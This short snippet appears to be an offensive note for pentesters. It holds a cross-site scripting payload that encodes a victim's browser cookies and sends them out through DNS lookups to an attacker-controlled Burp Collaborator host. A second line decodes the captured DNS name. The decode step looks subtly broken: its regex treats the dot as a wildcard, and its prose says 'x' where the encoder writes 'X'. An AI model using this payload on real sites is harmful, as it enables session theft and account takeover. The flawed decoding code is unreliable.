Bellow to exfiltrate cookie over DNS when doing XSS <script> document.location = "//" + btoa(document.cookie).replace(/[A-Z]/g, '$&.').replace(/=/g, 'X') + "I." + "YourBurpCollaborator"; </script> Bellow to decode the cookie, make sure to ignore the I. at the end and replace the x with = at the end atob("Your_Receveived_DNS".replace(/(.)./g, (_,x)=>x.toUpperCase()))